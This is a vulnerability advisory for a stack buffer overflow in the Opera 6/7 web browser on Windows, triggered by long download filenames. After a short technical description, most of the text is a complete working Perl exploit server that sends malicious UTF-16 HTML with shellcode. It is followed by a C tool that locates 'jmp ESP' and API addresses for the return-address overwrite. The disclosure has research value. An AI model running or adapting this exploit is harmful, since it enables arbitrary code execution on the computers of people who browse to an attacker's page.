|
COMMAND Opera long filename download buffer overflow SYSTEMS AFFECTED Opera for Windows Version: 7.02 build 2668 7.02 bork build 2656b 7.01 build 2651 6.05 build 1140 PROBLEM imagine (Operash webmaster) found following buffer overflow in Opera Web browser for Windows, as reported by nesumin [nesumin@softhome.net]: Opera for Windows has the pernicious security hole. Opera does not check the filename's length when it downloads files. Therefore, if the file with "long filename" is downloaded while Opera shows the "Download Dialog", a buffer overflow occurs on the stack. It can overwrite saved RET address on the stack, and it enables to execute the arbitrary code. If the Opera user downloads the file which has long filename with malicious code inside, this vulnerability would allow the attacker to make your computer virus infected or destructed, etc. Tested on : Opera Opera7.02 build 2668 Opera7.02 bork build 2656b Opera7.01 build 2651 Opera6.05 build 1140 English edition and Japanese edition. Platform Windows98SE JP Windows2000 Pro SP3 JP WindowsXP Home SP1 JP Vulnerable in tested : Opera7.02 build 2668 Opera7.02 bork build 2656b Opera7.01 build 2651 Opera6.05 build 1140 Unvulnerable in tested : Non Details ======= * Reproduce Step 1. Request file. Step 2. Response. Step 3. Try to display download dialog. Step 4. Buffer Overflow occurs if it has long filename. Opera does not check the length of the name of a file to download. If Opera requests the file and the server returns a response, the "Download Dialog" will be displayed depending on the contents of the response or file extensions. Then, it writes the temporary filename for checking file-type into the buffer on a stack. This temporary filename is generated based on the temporary directory name specified with the user environment variable and based on the download filename. (The file name is changed into 16bit WIDE characters) Buffer overflow will occur on a stack, when the long file name (more than the buffer size) is specified. Since the length of the file name is not checked there. The RET address is saved on the 4 bytes area of offsets 214H from the buffer. The offset from the Filename or the File Extension depends on the length of the temporary directory name. Shortly, there is the temporary directory name in the top of the buffer. And in the process of managing overwritten RET address, ESP register is pointing the next RET address. Therefore, it is possible to execute the arbitrary code by overwriting the "jmp ESP" op-code address with the RET address, and setting the code to the next RET address. It could be easy to execute arbitrary malicious codes if the attacker specifies the filename by "Inline Frame", "Frame", "Link", "Script" or etc. But it's slightly difficult to execute arbitrary codes if the filename is specified by a Meta data such as "Content-Disposition" header or etc. That's because the filename will be changed into the WIDE Character with "System Locale". Although in this case, it is by no means safe because the stack corruption, like overwriting RET address by the buffer overflow, can't prevent. * Opera 7 [Windows 2000, Windows XP] It has the area to which'd be referred after overwriting. The 4 bytes area of offset 04H from the next 4bytes area of the RET address. [Windows 9x] It has the area to which'd be referred after overwriting. The 4 bytes area of offset 04H from the next 4bytes area of the RET address, and the area after offset 2CH. The heap includes the same data of downloaded filename which the address ESP+54H points the head address. * Opera 6 If the filename includes ".", the offset value of the RET address starts from next of last ".". If "Encode all addresses with UTF-8" or "Determine action by MIME type" is disabled, it could be difficult to execute codes because the filename will be changed into the WIDE Character without "URL decode". Although in this case, it is by no means safe because the stack corruption, like overwriting RET address by the buffer overflow, can't prevent. [Windows 2000, Windows XP] It has the area to which'd be referred after overwriting. The 4 bytes area of offset 04H from the next 4bytes area of the RET address. [Windows 9x] The offset to the RET address is 244H bytes. You can avoid the "Exception" by preparing a writable address value if the latter area of RET|4bytes|4bytes address area is referred to. Sample Code : (see below) dlfnbof.pl This sample is a little HTTP server which returns HTML with the exploit code that would run Internet Explorer using this vulnerability. It's made with Perl and checked on Active Perl5.6.x for Windows. * This source code is just a sample for checking this vulnerability. * We will take no responsibility for any kinds of disadvantages by using this code. Special thanks ============== :: Operash :: [ Unofficial Opera's Bug and Security information site for Japanese people ] imagine (Operash webmaster) melorin piso (sexy) Sample Code ============ #!/usr/bin/perl #========================================================== # Synopsis : Sample exploit code of # "[Opera 7/6] Long Filename Buffer Overflow # Vulnerability in Download" # Version : Opera 6 and Opera 7 # Vendor : Opera Software ASA # Usage : perl this -h # -g option, this sample uses attached program, gpa.exe(gpa.c). # gpa.exe(gpa.c) is a little program to get addresses for Windows. # Comment : This sample is a little HTTP server which returns # HTML with the exploitcode that would run # Internet Explorer using this vulnerability. # Example : [1] Execute "perl this -p 10080". # [2] Open "http://127.0.0.1:10080/" by Opera. # [3] If the JavaScript, Frame and IFrame are off, # click the link below, "click here". # # by nesumin <nesumin@softhome.net> #========================================================== use IO::Socket; use IO::Select; use Getopt::Std; my ($os, $serveraddr, $opera, $raiseexception, $port,$getaddress, $ADDR_RET, $ADDR_GETPROCADDRESS, $ADDR_LOADLIBRARY); #--------------------- # default setting #--------------------- # server $serveraddr = "127.0.0.1"; $port = 10080; # opera version(for windows 9x) # (6: opera6, 7: opera7) $opera = 7; # OS, kernel32.dll or other. # win2k sp3 jp $ADDR_RET = 0x77E67D04; $ADDR_LOADLIBRARY = 0x77E6FEE8; $ADDR_GETPROCADDRESS = 0x77E7094C; #win98 jp #$ADDR_RET = 0xBFF8F981; #$ADDR_LOADLIBRARY = 0xBFF77750; #$ADDR_GETPROCADDRESS = 0xBFF76E28; $getaddress = "gpa.exe"; $raiseexception = 1; #---------------------------------------------------------- print STDERR (" ____________________________.:.____________________________ \n"); print STDERR ("| |\n"); print STDERR ("| [Opera 7/6] Long Filename Buffer Overflow Vulnerability |\n"); print STDERR ("* *\n"); print STDERR ("* This sample is a little HTTP server which returns HTML *\n"); print STDERR ("* with the exploitcode that would run Internet Explorer *\n"); print STDERR ("| using this vulnerability. |\n"); print STDERR ("|____________________________________.[ coded by nesumin ]._|\n\n"); my ($ADDR_OFFSET, $CODE_OFFSET, $FAKE_ADDR, $TEMPPRELEN,$tplhtml, $resheader, $url, $fakeres, $data, $code, $exploithtml, $timeout,$TEMPDIRLEN); getopts('hg:o:p:w:t:s:'); # -h usage if (defined($opt_h) && $opt_h eq "1") { Usage(); exit(0); } # -g if (! defined($opt_g) || $opt_g ne "1") { die("cannot find \"$getaddress\"\n") unless (-x $getaddress); my $tmp = qx($getaddress); if ($tmp eq "" || $tmp!~m~^(0x[\dA-F]{8}),(0x[\dA-F]{8}),(0x[\dA-F]{8})~i) { die("cannot get address"); } $ADDR_RET = hex($1); $ADDR_LOADLIBRARY = hex($2); $ADDR_GETPROCADDRESS = hex($3); } printf STDERR ("RET ADDRESS\t\t0x%08X\n", $ADDR_RET); printf STDERR ("LOADLIBRARY\t\t0x%08X\n", $ADDR_LOADLIBRARY); printf STDERR ("GETPROCADDRESS\t\t0x%08X\n", $ADDR_GETPROCADDRESS); # -t # user's temp directory length # depends on victim' environment variable if (defined($opt_t)) { $TEMPDIRLEN = $opt_t+0; #$TEMPDIRLEN = 0x0f; # "c:\windows\temp" #$TEMPDIRLEN = 0x22; # "C:\DOCUME~1\********\LOCALS~1\Temp" } else { $TEMPDIRLEN = length($ENV{'TEMP'}); } printf STDERR (qq~TEMP Length\t\t%d\n~, $TEMPDIRLEN); # -o opera version if (defined($opt_o)) { if ($opt_o eq "6") { $opera = 6; } elsif ($opt_o eq "7") { $opera = 7; } print STDERR ("Opera version(for 9x)\t$opt_o\n"); } # OS $os = (exists($ENV{OS}) && $ENV{OS} =~ /^Windows_NT/) ? 1 : 0; # -p port $port = $opt_p + 0 if (defined($opt_p)); die("portno is not correct\n") if ($port < 1 && 65535 < $port); # -s server $serveraddr = $opt_s if (defined($opt_s) && $opt_s ne ""); print STDERR ("server\t\t\t$serveraddr:$port\n"); #---------------------------------------------------------- # open http://www.msn.com $code = pack("C*", 0xEB,0x3E,0x5B,0x53,0xB8,0xAA,0xAA,0xAA,0xAA,0xFF,0xD0,0x8B,0xD0,0x52,0x83,0xC3, 0x0B,0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF0,0x5A,0x83,0xC3,0x09, 0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF8,0x33,0xC0,0x50,0x83,0xC3, 0x05,0x53,0x83,0xC3,0x13,0x53,0x53,0x40,0x50,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7, 0xE8,0xBD,0xFF,0xFF,0xFF ); $code .= pack("a*x" x 5, qw~msvcrt.dll _spawnlp exit http://www.msn.com explorer.exe~); $code=~s~\xAA\xAA\xAA\xAA~pack("L", $ADDR_LOADLIBRARY)~eg; $code=~s~\xBB\xBB\xBB\xBB~pack("L", $ADDR_GETPROCADDRESS)~eg; $ADDR_OFFSET = 0x0107; $TEMPPRELEN = 0x0c; $ADDR_OFFSET -= ($TEMPDIRLEN + $TEMPPRELEN); $FAKE_ADDR = 0x00410041; # writable address. $raiseexception and $ADDR_RET = 0xfefefefe; #$raiseexception and $FAKE_ADDR = 0xfefefefe; $resheader = "HTTP/1.0 200 OK\n"; $resheader .= "Content-type: text/html; charset=UTF-16\n"; $resheader .= "Pragma: no-cache\n"; $resheader .= "Connection: close\n"; $resheader .= "\n"; $fakeres = "HTTP/1.0 200 OK\n"; $fakeres .= "Content-type: application/x-AAAAAAAAAA\n"; $fakeres .= "Pragma: no-cache\n"; $fakeres .= "Connection: close\n"; $fakeres .= "\n"; $fakeres .= "\xff"; # for Opera 6, binary. $fakeres .= "Love & Peace :)\n"; $url = "http://" . $serveraddr . ":" . $port . "/"; $url=~s~(.)~$1\x00~sg; $tplhtml = <<_HTML_; <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-16"> <title></title> </head> <script language="JavaScript"> <!-- document.location.href = "{url}"; //--> </script> <noscript> <frameset> <frame src="{url}"> </frameset> <noframe> <body> <iframe src="{url}" width="0" height="0"></iframe> <a title="click here" href="{url}">click here</a> </body> </noframe> </noscript> </html> _HTML_ $tplhtml=~s~(.)~$1\x00~gs; my $replace = "{url}"; $replace=~s~(.)~$1\x00~gs; #---- $timeout = undef; my (%CLIENTS,$readbuf); my $ssocket = new IO::Socket::INET(LocalPort=>$port, Listen=>SOMAXCONN, Reuse=>1) || die("$!"); print STDERR ("-" x 62, "\n"); print STDERR ("server started\n"); my $selecter = IO::Select->new($ssocket); while (1) { foreach my $active (@{(IO::Select->select($selecter,$timeout,undef,undef))[0]}) { if ($active == $ssocket) { my $csocket = $ssocket->accept(); if (! defined($csocket)) { print STDERR ("accept error $!\n"); next; } print STDERR ("incoming client, $active\n"); $csocket->autoflush(); $selecter->add($csocket); } else { if ($active->recv($readbuf, 1024) && 0 < length($readbuf)) { $CLIENTS{$active} .= $readbuf; if (0 <= rindex($CLIENTS{$active}, "\r\n\r\n")) { if ($CLIENTS{$active}=~m~^GET (\S+) HTTP~is) { print STDERR ("request\n$CLIENTS{$active}\n"); if ($1 eq "/") { $CLIENTS{$active}=~m~\nUser-Agent:\s+(.+)~i; my $ua = $1; if (!defined($opt_o) && $ua ne '') { #opera $opera = $ua =~m~Opera[/ ]?6~i ? 6 : 7; #$os = $ua =~m~Windows ?(?:NT|XP|2000)~i ? 1 : 0; } if ($os == 0) # 9x { if ($opera == 7) { $data = $code; $data .= "\x90" x (($ADDR_OFFSET-1)*2-length($data)); $data .= pack("L", $ADDR_RET); $data .= pack("C*", 0x90,0x90); $data .= pack("C*", 0xEB,0x04); # jmp $data .= pack("L", $FAKE_ADDR); # call dword ptr[esp+54h] // [esp+54h] is another pointer that is same filename data on heap. $data .= pack("C*", 0xFF, 0x54, 0x24, 0x54); } elsif ($opera == 6) { $data = "\x41\x00" x ($ADDR_OFFSET+24); $data .= pack("L", $ADDR_RET); $data .= $code; } } elsif ($os == 1) # 2k, xp { $data = "\x41\x00" x ($ADDR_OFFSET-1); $data .= pack("L", $ADDR_RET); $data .= pack("C*", 0xEB,0x06); # jmp code $data .= pack("C*", 0x90,0x90); $data .= pack("L", $FAKE_ADDR); $data .= $code; } $data = $url . $data; $data .= "\x90" if length($data)&1; $exploithtml = $tplhtml; $exploithtml=~s~$replace~$data~gs; $exploithtml = pack("C*",0xff,0xfe) . $exploithtml; $active->send($resheader . $exploithtml); print STDERR ("send response\n$resheader$exploithtml\n"); print STDERR ("$url\n"); } else { $active->send($fakeres); print STDERR ("response\n$fakeres\n"); } } } elsif (0xffff > length($CLIENTS{$active})) { next; } else { $active->send("HTTP/1.0 400 Bad Request\r\n\r\n\r\n"); } } print STDERR ("client closed, $active\n"); delete($CLIENTS{$active}); $selecter->remove($active); $active->close(); } } } $ssocket->close(); exit(0); sub Usage { printf STDERR ("Usage: perl %s [-h] [-g] [-s servername] [-p port]\n", ($0=~m~([^\\/]+?)$~)[0]||"/"); print STDERR (" [-w os] [-t length_of_tempdir]\n"); print STDERR ("Options:\n"); print STDERR (" -h print Usage\n"); print STDERR (" -g don't use gpa.exe\n"); print STDERR (" -s specify server name (default: $serveraddr)\n"); print STDERR (" -p specify server port(1024-65535), (default: $port)\n"); print STDERR (" -o specify Opera version {6|7}, (default: 7)\n"); printf STDERR (" -t specify length of temporary directory name, (default: %d)\n",length($ENV{'TEMP'})); print STDERR ("\n"); } __END__ Tool to check return adresses ============================= // // This little program returns the addresses of LoadLibraryA(), // GetProcAddress(), and "jmp ESP" on your Windows. // // If your compiler cannot use SEH, // please comment out "#define USE_SEH" // #include <stdio.h> //===================================================================// // a general routine, search in memory #include <windows.h> #include <psapi.h> #define USE_SEH //---------- data for search address ------------ const unsigned char *DllList[]={ "kernel32.dll",// do not edit kernel32.dll "user32.dll", "gdi32.dll", "advapi.dll", "imm32.dll", "winmm.dll", "ole32.dll", "netapi32.dll" }; #define DllCount (sizeof(DllList)/sizeof(unsigned char *)) const unsigned char *JmpESPList[3]={ "\xFF\xD4", "\xFF\xE4", "\x54\xC3" }; int isAddrAvailableChar(unsigned long IN_addr) { // exclude 0x0000,0xffff,0x002f,0x003e,0x0040,0x0025 return( (IN_addr & 0x0000ffff) && (IN_addr & 0xffff0000) && ((IN_addr & 0x0000ffff) != 0x0000ffff) && ((IN_addr & 0xffff0000) != 0xffff0000) && ((IN_addr & 0x0000ffff) != 0x0000002f) && ((IN_addr & 0xffff0000) != 0x002f0000) && ((IN_addr & 0x0000ffff) != 0x00000022) && ((IN_addr & 0xffff0000) != 0x00220000) && ((IN_addr & 0x0000ffff) != 0x0000003e) && ((IN_addr & 0xffff0000) != 0x003e0000) && ((IN_addr & 0x0000ffff) != 0x00000040) && ((IN_addr & 0xffff0000) != 0x00400000) && ((IN_addr & 0x0000ffff) != 0x00000025) && ((IN_addr & 0xffff0000) != 0x00250000) ); } unsigned char * searchInMem(unsigned char *IN_start,int IN_size, const unsigned char *IN_data, int IN_data_size) { unsigned char *cur_pos = IN_start + IN_size - IN_data_size; #ifdef USE_SEH __try { #endif while (cur_pos >= IN_start) { if ( 0 == memcmp(cur_pos, IN_data, IN_data_size) && isAddrAvailableChar((unsigned long)cur_pos) ) return cur_pos; --cur_pos; } #ifdef USE_SEH } __except((STATUS_ACCESS_VIOLATION == GetExceptionCode()) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { } #endif return 0; } int getAddress(unsigned long *OUT_jmp,unsigned long *OUT_loadlib,unsigned long *OUT_getproc) { int i,j; HMODULE hlist[DllCount]; OSVERSIONINFO info; info.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&info); memset(hlist,0,sizeof(hlist)); if (info.dwPlatformId==VER_PLATFORM_WIN32_NT) { // NT MODULEINFO minfo; HMODULE psapi = LoadLibrary("psapi.dll"); BOOL (WINAPI *fp_GetModuleInformation)(HANDLE,HMODULE,LPMODULEINFO,DWORD); fp_GetModuleInformation = (void*)GetProcAddress(psapi,"GetModuleInformation"); for (i=0;i<DllCount;++i) { hlist[i] = LoadLibrary(DllList[i]); if (hlist[i]) { fp_GetModuleInformation(GetCurrentProcess(),hlist[i],&minfo,sizeof(MODULEINFO)); for (j=0;j<3 && !(*OUT_jmp = (unsigned long)searchInMem((void*)hlist[i],minfo.SizeOfImage,JmpESPList[j],2));++j); if (*OUT_jmp) { break; } } } FreeLibrary(psapi); } else { // 9x MEMORY_BASIC_INFORMATION minfo; for (i=0;i<DllCount;++i) { hlist[i] = LoadLibrary(DllList[i]); if (hlist[i]) { VirtualQuery(hlist[i],&minfo,sizeof(MEMORY_BASIC_INFORMATION)); for (j=0;j<3 && !(*OUT_jmp = (unsigned long)searchInMem((void*)hlist[i],minfo.RegionSize,JmpESPList[j],2));++j); if (*OUT_jmp) { break; } } } } // kernel32.dll *OUT_loadlib = (unsigned long)GetProcAddress(hlist[0],"LoadLibraryA"); *OUT_getproc = (unsigned long)GetProcAddress(hlist[0],"GetProcAddress"); for (i=0;i<DllCount;++i) if (0 != hlist[i]) FreeLibrary(hlist[i]); return (*OUT_jmp && *OUT_loadlib && *OUT_getproc) ? 1 : 0; } //---------------------------------------------------- int main() { unsigned long jmpesp,loadlib,getproc; if (!getAddress(&jmpesp,&loadlib,&getproc)) return -1; printf("0x%X,0x%X,0x%X",jmpesp,loadlib,getproc); return 0; } SOLUTION Vendor said that this issue would be fixed in the next version due out very soon.